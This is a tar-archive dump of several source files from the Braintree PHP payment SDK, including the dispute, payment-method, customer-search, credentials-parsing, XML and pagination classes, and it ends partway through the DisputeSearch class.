class_alias('Braintree\DisputeGateway', 'Braintree_DisputeGateway'); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/CoinbaseAccount.php���������������������������������������������������������0000644�����������������00000005420�14720677707�0014773 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree CoinbaseAccount module * * @package Braintree * @category Resources */ /** * Manages Braintree CoinbaseAccounts * * <b>== More information ==</b> * * * @package Braintree * @category Resources * * @property-read string $customerId * @property-read string $token * @property-read string $userId * @property-read string $userName * @property-read string $userEmail */ class CoinbaseAccount extends Base { /** * factory method: returns an instance of CoinbaseAccount * to the requesting method, with populated properties * * @ignore * @return CoinbaseAccount */ public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } /* instance methods */ /** * returns false if default is null or false * * @return boolean */ public function isDefault() { return $this->default; } /** * sets instance properties from an array of values * * @access protected * @param array $coinbaseAccountAttribs array of coinbaseAccount data * @return void */ protected function _initialize($coinbaseAccountAttribs) { // set the attributes $this->_attributes = $coinbaseAccountAttribs; $subscriptionArray = []; if (isset($coinbaseAccountAttribs['subscriptions'])) { foreach ($coinbaseAccountAttribs['subscriptions'] AS $subscription) { $subscriptionArray[] = Subscription::factory($subscription); } } $this->_set('subscriptions', $subscriptionArray); } /** * create a printable representation of the object as: * ClassName[property=value, property=value] * @return string */ public function __toString() { return __CLASS__ . '[' . Util::attributesToString($this->_attributes) .']'; } // static methods redirecting to gateway public static function find($token) { return Configuration::gateway()->coinbaseAccount()->find($token); } public static function update($token, $attributes) { return Configuration::gateway()->coinbaseAccount()->update($token, $attributes); } public static function delete($token) { return Configuration::gateway()->coinbaseAccount()->delete($token); } public static function sale($token, $transactionAttribs) { return Configuration::gateway()->coinbaseAccount()->sale($token, $transactionAttribs); } } class_alias('Braintree\CoinbaseAccount', 'Braintree_CoinbaseAccount'); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Dispute.php�����������������������������������������������������������������0000644�����������������00000014171�14720677707�0013353 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Creates an instance of Dispute as returned from a transaction * * * @package Braintree * * @property-read string $amount * @property-read \DateTime $createdAt * @property-read string $currencyIsoCode * @property-read string $disbursementDate * @property-read \Braintree\Dispute\EvidenceDetails $evidence * @property-read string $id * @property-read string $kind * @property-read string $merchantAccountId * @property-read string $originalDisputeId * @property-read string $processorComments * @property-read string $reason * @property-read string $reasonCode * @property-read string $reasonDescription * @property-read \DateTime $receivedDate * @property-read string $referenceNumber * @property-read \DateTime $replyByDate * @property-read string $status * @property-read \Braintree\Dispute\StatusHistoryDetails[] $statusHistory * @property-read \Braintree\Dispute\TransactionDetails $transaction * @property-read \Braintree\Dispute\TransactionDetails $transactionDetails * @property-read \DateTime $updatedAt */ class Dispute extends Base { protected $_attributes = []; /* Dispute Status */ const ACCEPTED = 'accepted'; const DISPUTED = 'disputed'; const EXPIRED = 'expired'; const OPEN = 'open'; const WON = 'won'; const LOST = 'lost'; /* deprecated; for backwards compatibilty */ const Open = 'open'; /* Dispute Reason */ const CANCELLED_RECURRING_TRANSACTION = "cancelled_recurring_transaction"; const CREDIT_NOT_PROCESSED = "credit_not_processed"; const DUPLICATE = "duplicate"; const FRAUD = "fraud"; const GENERAL = "general"; const INVALID_ACCOUNT = "invalid_account"; const NOT_RECOGNIZED = "not_recognized"; const PRODUCT_NOT_RECEIVED = "product_not_received"; const PRODUCT_UNSATISFACTORY = "product_unsatisfactory"; const TRANSACTION_AMOUNT_DIFFERS = "transaction_amount_differs"; const RETRIEVAL = "retrieval"; /* Dispute Kind */ const CHARGEBACK = 'chargeback'; const PRE_ARBITRATION = 'pre_arbitration'; // RETRIEVAL for kind already defined under Dispute Reason protected function _initialize($disputeAttribs) { $this->_attributes = $disputeAttribs; if (isset($disputeAttribs['transaction'])) { $transactionDetails = new Dispute\TransactionDetails($disputeAttribs['transaction']); $this->_set('transactionDetails', $transactionDetails); $this->_set('transaction', $transactionDetails); } if (isset($disputeAttribs['evidence'])) { $evidenceArray = array_map(function($evidence) { return new Dispute\EvidenceDetails($evidence); }, $disputeAttribs['evidence']); $this->_set('evidence', $evidenceArray); } if (isset($disputeAttribs['statusHistory'])) { $statusHistoryArray = array_map(function($statusHistory) { return new Dispute\StatusHistoryDetails($statusHistory); }, $disputeAttribs['statusHistory']); $this->_set('statusHistory', $statusHistoryArray); } if (isset($disputeAttribs['transaction'])) { $this->_set('transaction', new Dispute\TransactionDetails($disputeAttribs['transaction']) ); } } public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } public function __toString() { $display = [ 'amount', 'reason', 'status', 'replyByDate', 'receivedDate', 'currencyIsoCode' ]; $displayAttributes = []; foreach ($display AS $attrib) { $displayAttributes[$attrib] = $this->$attrib; } return __CLASS__ . '[' . Util::attributesToString($displayAttributes) .']'; } /** * Accepts a dispute, given a dispute ID * * @param string $id */ public static function accept($id) { return Configuration::gateway()->dispute()->accept($id); } /** * Adds file evidence to a dispute, given a dispute ID and a document ID * * @param string $disputeId * @param string $documentIdOrRequest */ public static function addFileEvidence($disputeId, $documentIdOrRequest) { return Configuration::gateway()->dispute()->addFileEvidence($disputeId, $documentIdOrRequest); } /** * Adds text evidence to a dispute, given a dispute ID and content * * @param string $id * @param string $contentOrRequest */ public static function addTextEvidence($id, $contentOrRequest) { return Configuration::gateway()->dispute()->addTextEvidence($id, $contentOrRequest); } /** * Finalize a dispute, given a dispute ID * * @param string $id */ public static function finalize($id) { return Configuration::gateway()->dispute()->finalize($id); } /** * Find a dispute, given a dispute ID * * @param string $id */ public static function find($id) { return Configuration::gateway()->dispute()->find($id); } /** * Remove evidence from a dispute, given a dispute ID and evidence ID * * @param string $disputeId * @param string $evidenceId */ public static function removeEvidence($disputeId, $evidenceId) { return Configuration::gateway()->dispute()->removeEvidence($disputeId, $evidenceId); } /** * Search for Disputes, given a DisputeSearch query * * @param DisputeSearch $query */ public static function search($query) { return Configuration::gateway()->dispute()->search($query); } } class_alias('Braintree\Dispute', 'Braintree_Dispute'); �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/PaymentMethodNonceGateway.php�����������������������������������������������0000644�����������������00000003116�14720677707�0017016 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree PaymentMethodNonceGateway module * * @package Braintree * @category Resources */ /** * Creates and manages Braintree PaymentMethodNonces * * <b>== More information ==</b> * * * @package Braintree * @category Resources */ class PaymentMethodNonceGateway { private $_gateway; private $_config; private $_http; public function __construct($gateway) { $this->_gateway = $gateway; $this->_config = $gateway->config; $this->_http = new Http($gateway->config); } public function create($token) { $subPath = '/payment_methods/' . $token . '/nonces'; $fullPath = $this->_config->merchantPath() . $subPath; $response = $this->_http->post($fullPath); return new Result\Successful( PaymentMethodNonce::factory($response['paymentMethodNonce']), "paymentMethodNonce" ); } /** * @access public * */ public function find($nonce) { try { $path = $this->_config->merchantPath() . '/payment_method_nonces/' . $nonce; $response = $this->_http->get($path); return PaymentMethodNonce::factory($response['paymentMethodNonce']); } catch (Exception\NotFound $e) { throw new Exception\NotFound( 'payment method nonce with id ' . $nonce . ' not found' ); } } } class_alias('Braintree\PaymentMethodNonceGateway', 'Braintree_PaymentMethodNonceGateway'); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/MasterpassCard.php����������������������������������������������������������0000644�����������������00000010666�14720677707�0014657 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree MasterpassCard module * Creates and manages Braintree MasterpassCards * * <b>== More information ==</b> * * For more detailed information on CreditCard verifications, see {@link https://developers.braintreepayments.com/reference/response/credit-card-verification/php https://developers.braintreepayments.com/reference/response/credit-card-verification/php} * * @package Braintree * @category Resources * * @property-read \Braintree\Address $billingAddress * @property-read string $bin * @property-read string $cardType * @property-read string $cardholderName * @property-read string $commercial * @property-read string $countryOfIssuance * @property-read \DateTime $createdAt * @property-read string $customerId * @property-read string $customerLocation * @property-read string $debit * @property-read boolean $default * @property-read string $durbinRegulated * @property-read string $expirationDate * @property-read string $expirationMonth * @property-read string $expirationYear * @property-read boolean $expired * @property-read string $healthcare * @property-read string $imageUrl * @property-read string $issuingBank * @property-read string $last4 * @property-read string $maskedNumber * @property-read string $payroll * @property-read string $prepaid * @property-read string $productId * @property-read \Braintree\Subscription[] $subscriptions * @property-read string $token * @property-read string $uniqueNumberIdentifier * @property-read \DateTime $updatedAt */ class MasterpassCard extends Base { /* instance methods */ /** * returns false if default is null or false * * @return boolean */ public function isDefault() { return $this->default; } /** * checks whether the card is expired based on the current date * * @return boolean */ public function isExpired() { return $this->expired; } /** * sets instance properties from an array of values * * @access protected * @param array $creditCardAttribs array of creditcard data * @return void */ protected function _initialize($creditCardAttribs) { // set the attributes $this->_attributes = $creditCardAttribs; // map each address into its own object $billingAddress = isset($creditCardAttribs['billingAddress']) ? Address::factory($creditCardAttribs['billingAddress']) : null; $subscriptionArray = []; if (isset($creditCardAttribs['subscriptions'])) { foreach ($creditCardAttribs['subscriptions'] AS $subscription) { $subscriptionArray[] = Subscription::factory($subscription); } } $this->_set('subscriptions', $subscriptionArray); $this->_set('billingAddress', $billingAddress); $this->_set('expirationDate', $this->expirationMonth . '/' . $this->expirationYear); $this->_set('maskedNumber', $this->bin . '******' . $this->last4); } /** * returns false if comparing object is not a CreditCard, * or is a CreditCard with a different id * * @param object $otherCreditCard customer to compare against * @return boolean */ public function isEqual($otherMasterpassCard) { return !($otherMasterpassCard instanceof self) ? false : $this->token === $otherMasterpassCard->token; } /** * create a printable representation of the object as: * ClassName[property=value, property=value] * @return string */ public function __toString() { return __CLASS__ . '[' . Util::attributesToString($this->_attributes) .']'; } /** * factory method: returns an instance of CreditCard * to the requesting method, with populated properties * * @ignore * @return MasterpassCard */ public static function factory($attributes) { $defaultAttributes = [ 'bin' => '', 'expirationMonth' => '', 'expirationYear' => '', 'last4' => '', ]; $instance = new self(); $instance->_initialize(array_merge($defaultAttributes, $attributes)); return $instance; } } class_alias('Braintree\MasterpassCard', 'Braintree_MasterpassCard'); ��������������������������������������������������������������������������braintree/lib/Braintree/SamsungPayCard.php����������������������������������������������������������0000644�����������������00000010312�14720677707�0014610 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree SamsungPayCard module * Creates and manages Braintree SamsungPayCards * * @package Braintree * @category Resources * * @property-read \Braintree\Address $billingAddress * @property-read string $bin * @property-read string $cardType * @property-read string $cardholderName * @property-read string $commercial * @property-read string $countryOfIssuance * @property-read \DateTime $createdAt * @property-read string $customerId * @property-read string $customerLocation * @property-read string $debit * @property-read boolean $default * @property-read string $durbinRegulated * @property-read string $expirationDate * @property-read string $expirationMonth * @property-read string $expirationYear * @property-read boolean $expired * @property-read string $healthcare * @property-read string $imageUrl * @property-read string $issuingBank * @property-read string $last4 * @property-read string $maskedNumber * @property-read string $payroll * @property-read string $prepaid * @property-read string $productId * @property-read string $sourceCardLast4 * @property-read \Braintree\Subscription[] $subscriptions * @property-read string $token * @property-read string $uniqueNumberIdentifier * @property-read \DateTime $updatedAt */ class SamsungPayCard extends Base { /* instance methods */ /** * returns false if default is null or false * * @return boolean */ public function isDefault() { return $this->default; } /** * checks whether the card is expired based on the current date * * @return boolean */ public function isExpired() { return $this->expired; } /** * sets instance properties from an array of values * * @access protected * @param array $creditCardAttribs array of creditcard data * @return void */ protected function _initialize($creditCardAttribs) { // set the attributes $this->_attributes = $creditCardAttribs; // map each address into its own object $billingAddress = isset($creditCardAttribs['billingAddress']) ? Address::factory($creditCardAttribs['billingAddress']) : null; $subscriptionArray = []; if (isset($creditCardAttribs['subscriptions'])) { foreach ($creditCardAttribs['subscriptions'] AS $subscription) { $subscriptionArray[] = Subscription::factory($subscription); } } $this->_set('subscriptions', $subscriptionArray); $this->_set('billingAddress', $billingAddress); $this->_set('expirationDate', $this->expirationMonth . '/' . $this->expirationYear); $this->_set('maskedNumber', $this->bin . '******' . $this->last4); } /** * returns false if comparing object is not a SamsungPayCard, * or is a SamsungPayCard with a different id * * @param object $otherSamsungPayCard customer to compare against * @return boolean */ public function isEqual($otherSamsungPayCard) { return !($otherSamsungPayCard instanceof self) ? false : $this->token === $otherSamsungPayCard->token; } /** * create a printable representation of the object as: * ClassName[property=value, property=value] * @return string */ public function __toString() { return __CLASS__ . '[' . Util::attributesToString($this->_attributes) .']'; } /** * factory method: returns an instance of SamsungPayCard * to the requesting method, with populated properties * * @ignore * @return SamsungPayCard */ public static function factory($attributes) { $defaultAttributes = [ 'bin' => '', 'expirationMonth' => '', 'expirationYear' => '', 'last4' => '', ]; $instance = new self(); $instance->_initialize(array_merge($defaultAttributes, $attributes)); return $instance; } } class_alias('Braintree\SamsungPayCard', 'Braintree_SamsungPayCard'); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/CustomerSearch.php����������������������������������������������������������0000644�����������������00000005224�14720677707�0014664 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; class CustomerSearch { public static function addressCountryName() { return new TextNode('address_country_name'); } public static function addressExtendedAddress() { return new TextNode('address_extended_address'); } public static function addressFirstName() { return new TextNode('address_first_name'); } public static function addressLastName() { return new TextNode('address_last_name'); } public static function addressLocality() { return new TextNode('address_locality'); } public static function addressPostalCode() { return new TextNode('address_postal_code'); } public static function addressRegion() { return new TextNode('address_region'); } public static function addressStreetAddress() { return new TextNode('address_street_address'); } public static function cardholderName() { return new TextNode('cardholder_name'); } public static function company() { return new TextNode('company'); } public static function email() { return new TextNode('email'); } public static function fax() { return new TextNode('fax'); } public static function firstName() { return new TextNode('first_name'); } public static function id() { return new TextNode('id'); } public static function lastName() { return new TextNode('last_name'); } public static function paymentMethodToken() { return new TextNode('payment_method_token'); } public static function paymentMethodTokenWithDuplicates() { return new IsNode('payment_method_token_with_duplicates'); } public static function paypalAccountEmail() { return new IsNode('paypal_account_email'); } public static function phone() { return new TextNode('phone'); } public static function website() { return new TextNode('website'); } public static function creditCardExpirationDate() { return new EqualityNode('credit_card_expiration_date'); } public static function creditCardNumber() { return new PartialMatchNode('credit_card_number'); } public static function ids() { return new MultipleValueNode('ids'); } public static function createdAt() { return new RangeNode("created_at"); } } class_alias('Braintree\CustomerSearch', 'Braintree_CustomerSearch'); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/CredentialsParser.php�������������������������������������������������������0000644�����������������00000010432�14720677707�0015344 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * * CredentialsParser registry * * @package Braintree * @subpackage Utility */ class CredentialsParser { private $_clientId; private $_clientSecret; private $_accessToken; private $_environment; private $_merchantId; public function __construct($attribs) { foreach ($attribs as $kind => $value) { if ($kind == 'clientId') { $this->_clientId = $value; } if ($kind == 'clientSecret') { $this->_clientSecret = $value; } if ($kind == 'accessToken') { $this->_accessToken = $value; } } $this->parse(); } /** * * @access protected * @static * @var array valid environments, used for validation */ private static $_validEnvironments = [ 'development', 'integration', 'sandbox', 'production', 'qa', ]; public function parse() { $environments = []; if (!empty($this->_clientId)) { $environments[] = ['clientId', $this->_parseClientCredential('clientId', $this->_clientId, 'client_id')]; } if (!empty($this->_clientSecret)) { $environments[] = ['clientSecret', $this->_parseClientCredential('clientSecret', $this->_clientSecret, 'client_secret')]; } if (!empty($this->_accessToken)) { $environments[] = ['accessToken', $this->_parseAccessToken()]; } $checkEnv = $environments[0]; foreach ($environments as $env) { if ($env[1] !== $checkEnv[1]) { throw new Exception\Configuration( 'Mismatched credential environments: ' . $checkEnv[0] . ' environment is ' . $checkEnv[1] . ' and ' . $env[0] . ' environment is ' . $env[1]); } } self::assertValidEnvironment($checkEnv[1]); $this->_environment = $checkEnv[1]; } public static function assertValidEnvironment($environment) { if (!in_array($environment, self::$_validEnvironments)) { throw new Exception\Configuration('"' . $environment . '" is not a valid environment.'); } } private function _parseClientCredential($credentialType, $value, $expectedValuePrefix) { $explodedCredential = explode('$', $value); if (sizeof($explodedCredential) != 3) { throw new Exception\Configuration('Incorrect ' . $credentialType . ' format. Expected: type$environment$token'); } $gotValuePrefix = $explodedCredential[0]; $environment = $explodedCredential[1]; $token = $explodedCredential[2]; if ($gotValuePrefix != $expectedValuePrefix) { throw new Exception\Configuration('Value passed for ' . $credentialType . ' is not a ' . $credentialType); } return $environment; } private function _parseAccessToken() { $accessTokenExploded = explode('$', $this->_accessToken); if (sizeof($accessTokenExploded) != 4) { throw new Exception\Configuration('Incorrect accessToken syntax. Expected: type$environment$merchant_id$token'); } $gotValuePrefix = $accessTokenExploded[0]; $environment = $accessTokenExploded[1]; $merchantId = $accessTokenExploded[2]; $token = $accessTokenExploded[3]; if ($gotValuePrefix != 'access_token') { throw new Exception\Configuration('Value passed for accessToken is not an accessToken'); } $this->_merchantId = $merchantId; return $environment; } public function getClientId() { return $this->_clientId; } public function getClientSecret() { return $this->_clientSecret; } public function getAccessToken() { return $this->_accessToken; } public function getEnvironment() { return $this->_environment; } public function getMerchantId() { return $this->_merchantId; } } class_alias('Braintree\CredentialsParser', 'Braintree_CredentialsParser'); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/WebhookTesting.php����������������������������������������������������������0000644�����������������00000000523�14720677707�0014666 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; class WebhookTesting { public static function sampleNotification($kind, $id, $sourceMerchantId = null) { return Configuration::gateway()->webhookTesting()->sampleNotification($kind, $id, $sourceMerchantId); } } class_alias('Braintree\WebhookTesting', 'Braintree_WebhookTesting'); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Xml/Parser.php��������������������������������������������������������������0000644�����������������00000007654�14720677707�0013742 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Xml; use DateTime; use DateTimeZone; use DOMDocument; use DOMElement; use DOMText; use Braintree\Util; /** * Braintree XML Parser */ class Parser { /** * Converts an XML string into a multidimensional array * * @param string $xml * @return array */ public static function arrayFromXml($xml) { $document = new DOMDocument('1.0', 'UTF-8'); $document->loadXML($xml); $root = $document->documentElement->nodeName; return Util::delimiterToCamelCaseArray([ $root => self::_nodeToValue($document->childNodes->item(0)), ]); } /** * Converts a node to an array of values or nodes * * @param DOMNode @node * @return mixed */ private static function _nodeToArray($node) { $type = null; if ($node instanceof DOMElement) { $type = $node->getAttribute('type'); } switch($type) { case 'array': $array = []; foreach ($node->childNodes as $child) { $value = self::_nodeToValue($child); if ($value !== null) { $array[] = $value; } } return $array; case 'collection': $collection = []; foreach ($node->childNodes as $child) { $value = self::_nodetoValue($child); if ($value !== null) { if (!isset($collection[$child->nodeName])) { $collection[$child->nodeName] = []; } $collection[$child->nodeName][] = self::_nodeToValue($child); } } return $collection; default: $values = []; if ($node->childNodes->length === 1 && $node->childNodes->item(0) instanceof DOMText) { return $node->childNodes->item(0)->nodeValue; } else { foreach ($node->childNodes as $child) { if (!$child instanceof DOMText) { $values[$child->nodeName] = self::_nodeToValue($child); } } return $values; } } } /** * Converts a node to a PHP value * * @param DOMNode $node * @return mixed */ private static function _nodeToValue($node) { $type = null; if ($node instanceof DOMElement) { $type = $node->getAttribute('type'); } switch($type) { case 'datetime': return self::_timestampToUTC((string) $node->nodeValue); case 'date': return new DateTime((string) $node->nodeValue); case 'integer': return (int) $node->nodeValue; case 'boolean': $value = (string) $node->nodeValue; if(is_numeric($value)) { return (bool) $value; } else { return ($value !== "true") ? false : true; } case 'array': case 'collection': return self::_nodeToArray($node); default: if ($node->hasChildNodes()) { return self::_nodeToArray($node); } elseif (trim($node->nodeValue) === '') { return null; } else { return $node->nodeValue; } } } /** * Converts XML timestamps into DateTime instances * * @param string $timestamp * @return DateTime */ private static function _timestampToUTC($timestamp) { $tz = new DateTimeZone('UTC'); $dateTime = new DateTime($timestamp, $tz); $dateTime->setTimezone($tz); return $dateTime; } } class_alias('Braintree\Xml\Parser', 'Braintree_Xml_Parser'); ������������������������������������������������������������������������������������braintree/lib/Braintree/Xml/Generator.php�����������������������������������������������������������0000644�����������������00000011172�14720677707�0014422 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Xml; use DateTime; use DateTimeZone; use XMLWriter; use Braintree\Util; /** * PHP version 5 */ /** * Generates XML output from arrays using PHP's * built-in XMLWriter */ class Generator { /** * arrays passed to this method should have a single root element * with an array as its value * @param array $aData the array of data * @return string XML string */ public static function arrayToXml($aData) { $aData = Util::camelCaseToDelimiterArray($aData, '-'); // set up the XMLWriter $writer = new XMLWriter(); $writer->openMemory(); $writer->setIndent(true); $writer->setIndentString(' '); $writer->startDocument('1.0', 'UTF-8'); // get the root element name $aKeys = array_keys($aData); $rootElementName = $aKeys[0]; // open the root element $writer->startElement($rootElementName); // create the body self::_createElementsFromArray($writer, $aData[$rootElementName], $rootElementName); // close the root element and document $writer->endElement(); $writer->endDocument(); // send the output as string return $writer->outputMemory(); } /** * Construct XML elements with attributes from an associative array. * * @access protected * @static * @param object $writer XMLWriter object * @param array $aData contains attributes and values * @return void */ private static function _createElementsFromArray(&$writer, $aData) { if (!is_array($aData)) { if (is_bool($aData)) { $writer->text($aData ? 'true' : 'false'); } else { $writer->text($aData); } return; } foreach ($aData AS $elementName => $element) { // handle child elements $writer->startElement($elementName); if (is_array($element)) { if (array_key_exists(0, $element) || empty($element)) { $writer->writeAttribute('type', 'array'); foreach ($element AS $ignored => $itemInArray) { $writer->startElement('item'); self::_createElementsFromArray($writer, $itemInArray); $writer->endElement(); } } else { self::_createElementsFromArray($writer, $element); } } else { // generate attributes as needed $attribute = self::_generateXmlAttribute($element); if (is_array($attribute)) { $writer->writeAttribute($attribute[0], $attribute[1]); $element = $attribute[2]; } $writer->text($element); } $writer->endElement(); } } /** * convert passed data into an array of attributeType, attributeName, and value * dates sent as DateTime objects will be converted to strings * @access protected * @param mixed $value * @return array attributes and element value */ private static function _generateXmlAttribute($value) { if ($value instanceof DateTime) { return ['type', 'datetime', self::_dateTimeToXmlTimestamp($value)]; } if (is_int($value)) { return ['type', 'integer', $value]; } if (is_bool($value)) { return ['type', 'boolean', ($value ? 'true' : 'false')]; } if ($value === NULL) { return ['nil', 'true', $value]; } } /** * converts datetime back to xml schema format * @access protected * @param object $dateTime * @return string XML schema formatted timestamp */ private static function _dateTimeToXmlTimestamp($dateTime) { $dateTimeForUTC = clone $dateTime; $dateTimeForUTC->setTimeZone(new DateTimeZone('UTC')); return ($dateTimeForUTC->format('Y-m-d\TH:i:s') . 'Z'); } private static function _castDateTime($string) { try { if (empty($string)) { return false; } $dateTime = new DateTime($string); return self::_dateTimeToXmlTimestamp($dateTime); } catch (Exception $e) { // not a datetime return false; } } } class_alias('Braintree\Xml\Generator', 'Braintree_Xml_Generator'); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/AddOnGateway.php������������������������������������������������������������0000644�����������������00000001755�14720677707�0014251 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; class AddOnGateway { /** * * @var Gateway */ private $_gateway; /** * * @var Configuration */ private $_config; /** * * @var Http */ private $_http; /** * * @param Gateway $gateway */ public function __construct($gateway) { $this->_gateway = $gateway; $this->_config = $gateway->config; $this->_config->assertHasAccessTokenOrKeys(); $this->_http = new Http($gateway->config); } /** * * @return AddOn[] */ public function all() { $path = $this->_config->merchantPath() . '/add_ons'; $response = $this->_http->get($path); $addOns = ["addOn" => $response['addOns']]; return Util::extractAttributeAsArray( $addOns, 'addOn' ); } } class_alias('Braintree\AddOnGateway', 'Braintree_AddOnGateway'); �������������������braintree/lib/Braintree/UsBankAccount.php�����������������������������������������������������������0000644�����������������00000006247�14720677707�0014443 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree UsBankAccount module * * @package Braintree * @category Resources */ /** * Manages Braintree UsBankAccounts * * <b>== More information ==</b> * * * @package Braintree * @category Resources * * @property-read string $customerId * @property-read string $email * @property-read string $token * @property-read string $imageUrl * @property-read string $routingNumber * @property-read string $accountType * @property-read string $accountHolderName * @property-read string $last4 * @property-read string $bankName * @property-read string $achMandate * @property-read boolean $default * @property-read boolean $verified */ class UsBankAccount extends Base { /** * factory method: returns an instance of UsBankAccount * to the requesting method, with populated properties * * @ignore * @return UsBankAccount */ public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } /* instance methods */ /** * sets instance properties from an array of values * * @access protected * @param array $usBankAccountAttribs array of usBankAccount data * @return void */ protected function _initialize($usBankAccountAttribs) { // set the attributes $this->_attributes = $usBankAccountAttribs; $achMandate = isset($usBankAccountAttribs['achMandate']) ? AchMandate::factory($usBankAccountAttribs['achMandate']) : null; $this->_set('achMandate', $achMandate); if (isset($usBankAccountAttribs['verifications'])) { $verification_records = $usBankAccountAttribs['verifications']; $verifications = array(); for ($i = 0; $i < count($verification_records); $i++) { $verifications[$i] = UsBankAccountVerification::factory($verification_records[$i]); } $this->_set('verifications', $verifications); } else { $this->_set('verifications', null); } } /** * create a printable representation of the object as: * ClassName[property=value, property=value] * @return string */ public function __toString() { return __CLASS__ . '[' . Util::attributesToString($this->_attributes) . ']'; } /** * returns false if default is null or false * * @return boolean */ public function isDefault() { return $this->default; } // static methods redirecting to gateway public static function find($token) { return Configuration::gateway()->usBankAccount()->find($token); } public static function sale($token, $transactionAttribs) { $transactionAttribs['options'] = [ 'submitForSettlement' => true ]; return Configuration::gateway()->usBankAccount()->sale($token, $transactionAttribs); } } class_alias('Braintree\UsBankAccount', 'Braintree_UsBankAccount'); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/PaginatedCollection.php�����������������������������������������������������0000644�����������������00000005576�14720677707�0015657 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; use Iterator; /** * Braintree PaginatedCollection * PaginatedCollection is a container object for paginated data * * retrieves and pages through large collections of results * * example: * <code> * $result = MerchantAccount::all(); * * foreach($result as $merchantAccount) { * print_r($merchantAccount->status); * } * </code> * * @package Braintree * @subpackage Utility */ class PaginatedCollection implements Iterator { private $_pager; private $_pageSize; private $_currentPage; private $_index; private $_totalItems; private $_items; /** * set up the paginated collection * * expects an array of an object and method to call on it * * @param array $pager */ public function __construct($pager) { $this->_pager = $pager; $this->_pageSize = 0; $this->_currentPage = 0; $this->_totalItems = 0; $this->_index = 0; } /** * returns the current item when iterating with foreach */ public function current() { return $this->_items[($this->_index % $this->_pageSize)]; } public function key() { return null; } /** * advances to the next item in the collection when iterating with foreach */ public function next() { ++$this->_index; } /** * rewinds the collection to the first item when iterating with foreach */ public function rewind() { $this->_index = 0; $this->_currentPage = 0; $this->_pageSize = 0; $this->_totalItems = 0; $this->_items = []; } /** * returns whether the current item is valid when iterating with foreach */ public function valid() { if ($this->_currentPage == 0 || $this->_index % $this->_pageSize == 0 && $this->_index < $this->_totalItems) { $this->_getNextPage(); } return $this->_index < $this->_totalItems; } private function _getNextPage() { $this->_currentPage++; $object = $this->_pager['object']; $method = $this->_pager['method']; if (isset($this->_pager['query'])) { $query = $this->_pager['query']; $result = call_user_func( [$object, $method], $query, $this->_currentPage ); } else { $result = call_user_func( [$object, $method], $this->_currentPage ); } $this->_totalItems= $result->getTotalItems(); $this->_pageSize = $result->getPageSize(); $this->_items = $result->getCurrentPage(); } } class_alias('Braintree\PaginatedCollection', 'Braintree_PaginatedCollection'); ����������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/DisputeSearch.php�����������������������������������������������������������0000644�����������������00000003625�14720677707�0014503 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; class DisputeSearch { public static function amountDisputed() { return new RangeNode("amount_disputed"); } public static function amountWon() { return new RangeNode("amount_won"); } public static function caseNumber() { return new TextNode("case_number"); } public static function id() { return new TextNode("id"); } public static function customerId() { return new TextNode("customer_id"); } public static function kind() { return new MultipleValueNode("kind"); } public static function merchantAccountId() { return new MultipleValueNode("merchant_account_id"); } public static function reason() { return new MultipleValueNode("reason"); } public static function reasonCode() { 